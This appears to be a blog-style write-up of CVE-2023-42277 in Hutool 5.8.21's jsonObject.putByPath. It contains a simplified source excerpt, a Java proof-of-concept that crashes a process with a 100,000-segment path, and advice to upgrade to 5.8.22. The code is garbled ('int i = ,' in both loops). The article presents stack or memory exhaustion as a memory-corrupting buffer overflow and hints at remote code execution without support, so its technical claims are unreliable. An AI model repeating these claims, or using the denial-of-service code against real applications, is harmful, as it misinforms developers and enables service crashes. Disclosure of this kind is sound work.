CVE-2023-42277 - Breaking Down the Hutool v5.8.21 Buffer Overflow in `jsonObject.putByPath` – Proof of Concept and Analysis

In September 2023, a critical vulnerability, CVE-2023-42277, was disclosed in the popular Java library Hutool (version 5.8.21). The flaw centers around a buffer overflow in the jsonObject.putByPath function, potentially opening the door to denial of service (DoS) and even remote code execution, depending on the exploit context. In this article, we’ll break down the vulnerability in plain English, dive into example code, and discuss how an attacker might leverage it.

What is Hutool?

Hutool is an all-in-one Java utility library, widely used in China for tasks ranging from string processing to JSON manipulation. Its jsonObject component lets you construct and modify JSON objects programmatically. Unfortunately, in v5.8.21, this feature introduced a critical bug.

What is a Buffer Overflow?

A buffer overflow happens when code writes more data into a memory buffer than it’s supposed to—overwriting adjacent data and possibly crashing the program or allowing code execution.

In the case of Hutool’s jsonObject.putByPath, it fails to check the bounds properly when inserting deeply nested values using a crafted path. This seems like a simple developer oversight but can have dangerous consequences.

Here’s the problematic code area (simplified for clarity)

// Example vulnerable function from Hutool source
public void putByPath(String path, Object value) {
    String[] keys = path.split("\\."); 
    JSONObject obj = this;
    for (int i = , len = keys.length - 1; i < len; i++) {
        String key = keys[i];
        Object next = obj.get(key);
        if (!(next instanceof JSONObject)) {
            next = new JSONObject();
            obj.put(key, next);
        }
        obj = (JSONObject) next;
    }
    obj.put(keys[keys.length - 1], value); // <- Buffer not checked!
}

The function splits the path (like user.info.details) by dots, walks down or creates nested objects, and finally puts the value. However, if keys[] is extremely large, or special crafted input is used (like recursive self-references), this function can consume unbounded memory, trigger a stack overflow, or overwrite internal data structures.

Suppose an attacker can supply a long or malicious path. Here’s a simple exploit example

import cn.hutool.json.JSONObject;

public class HutoolExploit {
    public static void main(String[] args) {
        StringBuilder path = new StringBuilder();
        for (int i = ; i < 100_000; i++) { // 100,000 nested keys
            path.append("a").append(i).append(".");
        }
        path.append("final");
        JSONObject obj = new JSONObject();
        try {
            obj.putByPath(path.toString(), "boom");
        } catch (Throwable t) {
            System.out.println("Caught exception: " + t);
        }
    }
}

When run, this will likely throw a StackOverflowError or cause a massive resource spike, potentially crashing the Java process.

Note: In a real-world scenario, if user input is parsed as the path, an attacker could remotely crash an application or abuse the buffer to manipulate data, especially if input isn’t sanitized.

Exploitation Risks

- Denial of Service: Crashing the service by exhausting stack/memory.
- Remote Code Execution: Under specific conditions (when used with unsafe serialization or memory manipulation), attackers *might* be able to execute code.

Fix Status & Mitigations

The Hutool team patched this issue in v5.8.22, adding proper checks to limit path traversal depth and memory allocation. Users should immediately update their Hutool dependency:

Maven

<dependency>
  <groupId>cn.hutool</groupId>
  <artifactId>hutool-all</artifactId>
  <version>5.8.22</version>
</dependency>

Reference

- CVE-2023-42277 in NVD
- GitHub Advisory
- Patch Commit

Final Thoughts

Small mistakes in utility libraries can have a huge impact across the Java ecosystem. If you use Hutool, ensure you’re not exposing yourself to buffer overflow risks, and always keep third-party dependencies updated.

If you need help or want to see more about these bugs, check the official resources and test your own codebase for exposure.

Timeline

Published on: 09/08/2023 22:15:11 UTC
Last modified on: 09/13/2023 00:32:07 UTC